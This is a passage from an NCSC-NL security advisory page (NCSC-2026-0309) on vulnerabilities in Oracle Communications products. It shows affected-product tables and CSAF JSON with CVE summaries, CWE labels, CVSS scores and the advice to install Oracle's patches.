Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
A vulnerability in Oracle Communications Unified Inventory Management (v7.5.0-8.0.1) allows unauthenticated attackers with HTTP network access to gain unauthorized access to critical data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
A vulnerability in Oracle Communications Unified Inventory Management 7.5.0 to 8.0.1 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 7.4 indicating high confidentiality and integrity impact.
7.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
References
12 references
| URL | Category |
|---|---|
| https://www.oracle.com/security-alerts/cspuaug2026.html | external |
| https://vulnerabilities.ncsc.nl/csaf/v2/2025/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
{
"document": {
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "nl",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:\n\n NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.\n\n NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.\n This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
},
{
"category": "description",
"text": "Oracle heeft kwetsbaarheden verholpen in verschillende Communications-modules, waaronder Oracle Communications Cloud Native Core Network Exposure Function, Oracle Commerce Guided Search en Oracle Communications Unified Inventory Management",
"title": "Feiten"
},
{
"category": "description",
"text": "De kwetsbaarheden betreffen onder andere stack-based buffer overflows, onjuiste validatie van input, prototype pollution, improper authorization, use-after-free, deserialization filter bypass, en onvoldoende toegangscontrole. Aanvallers kunnen deze kwetsbaarheden misbruiken om onder meer Denial of Service (DoS) te veroorzaken, ongeautoriseerde toegang te verkrijgen, gevoelige data te wijzigen of in te zien, arbitrary code execution uit te voeren, en volledige systeemcompromittering te bereiken. Specifiek kunnen sommige kwetsbaarheden leiden tot privilege escalatie, bypass van authenticatie, en remote code execution zonder authenticatie. De kwetsbaarheden zijn aanwezig in diverse versies van de genoemde producten en modules, waarbij sommige fixes reeds zijn uitgebracht in specifieke versies. Controleer daarom of de specifieke kwetsbaarheden van toepassing zijn op het eigen systeem.",
"title": "Interpretaties"
},
{
"category": "description",
"text": "Oracle heeft updates uitgebracht om de kwetsbaarheden te verhelpen. Het wordt aanbevolen om de meest recente versies van de betreffende producten te installeren, zoals Oracle Communications Cloud Native Core Network Exposure Function versie 24.2.1 en hoger, Oracle Commerce Guided Search 11.4.0 en hoger, en de updates voor Oracle Communications Unified Inventory Management vanaf versie 8.0.2. Daarnaast zijn er patches beschikbaar voor de overige genoemde producten en modules. Zie bijgevoegde referenties voor meer informatie.",
"title": "Oplossingen"
},
{
"category": "general",
"text": "medium",
"title": "Kans"
},
{
"category": "general",
"text": "high",
"title": "Schade"
},
{
"category": "general",
"text": "OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities",
"title": "CWE-937"
},
{
"category": "general",
"text": "OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities",
"title": "CWE-1035"
},
{
"category": "general",
"text": "Insufficient Technical Documentation",
"title": "CWE-1059"
},
{
"category": "general",
"text": "Use of Unmaintained Third Party Components",
"title": "CWE-1104"
},
{
"category": "general",
"text": "CISQ Quality Measures (2016) - Security",
"title": "CWE-1131"
},
{
"category": "general",
"text": "Dependency on Vulnerable Third-Party Component",
"title": "CWE-1395"
},
{
"category": "general",
"text": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
"title": "CWE-77"
},
{
"category": "general",
"text": "Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"title": "CWE-94"
},
{
"category": "general",
"text": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)",
"title": "CWE-120"
},
{
"category": "general",
"text": "Sensitive Information in Resource Not Removed Before Reuse",
"title": "CWE-226"
},
{
"category": "general",
"text": "Improper Authorization",
"title": "CWE-285"
},
{
"category": "general",
"text": "Improper Authentication",
"title": "CWE-287"
},
{
"category": "general",
"text": "Uncontrolled Resource Consumption",
"title": "CWE-400"
},
{
"category": "general",
"text": "Use After Free",
"title": "CWE-416"
},
{
"category": "general",
"text": "Deserialization of Untrusted Data",
"title": "CWE-502"
},
{
"category": "general",
"text": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization",
"title": "CWE-551"
},
{
"category": "general",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "general",
"text": "Out-of-bounds Write",
"title": "CWE-787"
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "Nationaal Cyber Security Centrum",
"namespace": "https://www.ncsc.nl/"
},
"references": [
{
"category": "external",
"summary": "Reference",
"url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
}
],
"title": "Kwetsbaarheden verholpen in Oracle Communications",
"tracking": {
"current_release_date": "2026-08-19T09:44:19.645174Z",
"generator": {
"date": "2025-08-04T16:30:00Z",
"engine": {
"name": "V.A.",
"version": "1.3"
}
},
"id": "NCSC-2026-0309",
"initial_release_date": "2026-08-19T09:44:19.645174Z",
"revision_history": [
{
"date": "2026-08-19T09:44:19.645174Z",
"number": "1.0.0",
"summary": "Initiele versie"
}
],
"status": "final",
"version": "1.0.0"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-1"
}
}
],
"category": "product_name",
"name": "Oracle Communications"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-2"
}
}
],
"category": "product_name",
"name": "Oracle Communications BRM - Elastic Charging Engine"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-3"
}
}
],
"category": "product_name",
"name": "Oracle Communications Billing and Revenue Management"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-4"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core Binding Support Function"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-5"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core DBTier"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-6"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core Network Exposure Function"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-7"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core Network Repository Function"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-8"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core Network Slice Selection Function"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-9"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core Policy"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-10"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core Security Edge Protection Proxy"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-11"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core Service Communication Proxy"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-12"
}
}
],
"category": "product_name",
"name": "Oracle Communications Cloud Native Core Unified Data Repository"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-13"
}
}
],
"category": "product_name",
"name": "Oracle Communications Network Analytics Data Director"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-14"
}
}
],
"category": "product_name",
"name": "Oracle Communications Network Charging and Control"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-15"
}
}
],
"category": "product_name",
"name": "Oracle Communications Network Integrity"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-16"
}
}
],
"category": "product_name",
"name": "Oracle Communications Order and Service Management"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-17"
}
}
],
"category": "product_name",
"name": "Oracle Communications Service Catalog and Design"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-18"
}
}
],
"category": "product_name",
"name": "Oracle Communications Unified Assurance"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-19"
}
}
],
"category": "product_name",
"name": "Oracle Communications Unified Inventory Management"
}
],
"category": "vendor",
"name": "Oracle"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2025-13151",
"cwe": {
"id": "CWE-120",
"name": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)"
},
"notes": [
{
"category": "other",
"text": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)",
"title": "CWE-120"
},
{
"category": "other",
"text": "Out-of-bounds Write",
"title": "CWE-787"
},
{
"category": "description",
"text": "A stack-based buffer overflow vulnerability (CVE-2025-13151) in libtasn1\u0027s asn1_expend_octet_string function allows remote attackers to cause Denial of Service (DoS) due to improper input size validation.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2025-13151 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2025/cve-2025-13151.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2025-13151"
},
{
"cve": "CVE-2026-4176",
"cwe": {
"id": "CWE-1395",
"name": "Dependency on Vulnerable Third-Party Component"
},
"notes": [
{
"category": "other",
"text": "Dependency on Vulnerable Third-Party Component",
"title": "CWE-1395"
},
{
"category": "other",
"text": "Use of Unmaintained Third Party Components",
"title": "CWE-1104"
},
{
"category": "description",
"text": "Multiple Perl versions contain a vulnerable Compress::Raw::Zlib module with outdated zlib libraries exposing several CVEs, while Oracle Commerce Guided Search 11.4.0 has a critical unauthenticated remote compromise vulnerability with a CVSS score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-4176 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-4176.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-4176"
},
{
"cve": "CVE-2026-4800",
"cwe": {
"id": "CWE-94",
"name": "Improper Control of Generation of Code (\u0027Code Injection\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"title": "CWE-94"
},
{
"category": "other",
"text": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
"title": "CWE-77"
},
{
"category": "description",
"text": "Multiple lodash vulnerabilities, including CVE-2021-23337, involve unvalidated options.imports key names in _.template leading to arbitrary code execution, affecting versions prior to 4.18.0 and impacting products like Oracle Banking Corporate Lending with critical severity.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-4800 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-4800.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-4800"
},
{
"cve": "CVE-2026-5795",
"cwe": {
"id": "CWE-226",
"name": "Sensitive Information in Resource Not Removed Before Reuse"
},
"notes": [
{
"category": "other",
"text": "Sensitive Information in Resource Not Removed Before Reuse",
"title": "CWE-226"
},
{
"category": "description",
"text": "Multiple vulnerabilities affect Eclipse Jetty\u0027s JASPIAuthenticator and Oracle products, enabling authentication bypass, privilege escalation, and unauthorized data modification via improper ThreadLocal handling and unauthenticated access.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-5795 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-5795.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-5795"
},
{
"cve": "CVE-2026-29167",
"cwe": {
"id": "CWE-416",
"name": "Use After Free"
},
"notes": [
{
"category": "other",
"text": "Use After Free",
"title": "CWE-416"
},
{
"category": "description",
"text": "Multiple critical vulnerabilities affect Apache HTTP Server versions 2.4.0 to 2.4.67, including use-after-free in mod_ldap, buffer overflows, privilege escalations, and denial of service, alongside a severe unauthenticated network flaw in Oracle Communications Cloud Native Core Policy 25.2.200.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-29167 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-29167.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-29167"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Netty versions prior to 4.2.13.Final and 4.1.133.Final contain vulnerabilities in HttpContentDecompressor that allow attackers to bypass maxAllocation limits for Brotli, Zstd, and Snappy encodings, leading to out-of-memory Denial of Service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42587 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42587.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-42587"
},
{
"cve": "CVE-2026-42779",
"cwe": {
"id": "CWE-502",
"name": "Deserialization of Untrusted Data"
},
"notes": [
{
"category": "other",
"text": "Deserialization of Untrusted Data",
"title": "CWE-502"
},
{
"category": "description",
"text": "Multiple critical remote code execution vulnerabilities in Apache MINA and Oracle Middleware Common Libraries, affecting various versions including Ubuntu 22.04/24.04 LTS and Oracle versions 12.2.1.4.0 and 14.1.2.0.0, allow unauthenticated system takeover via deserialization filter bypass and classname allowlist bypass.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42779 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42779.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-42779"
},
{
"cve": "CVE-2026-55956",
"cwe": {
"id": "CWE-551",
"name": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization"
},
"notes": [
{
"category": "other",
"text": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization",
"title": "CWE-551"
},
{
"category": "description",
"text": "Multiple Apache Tomcat versions contain an improper authorization vulnerability in the default servlet that bypasses HTTP method restrictions, fixed in versions 11.0.23, 10.1.56, and 9.0.119, alongside other security and bug fixes.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-55956 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-55956.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
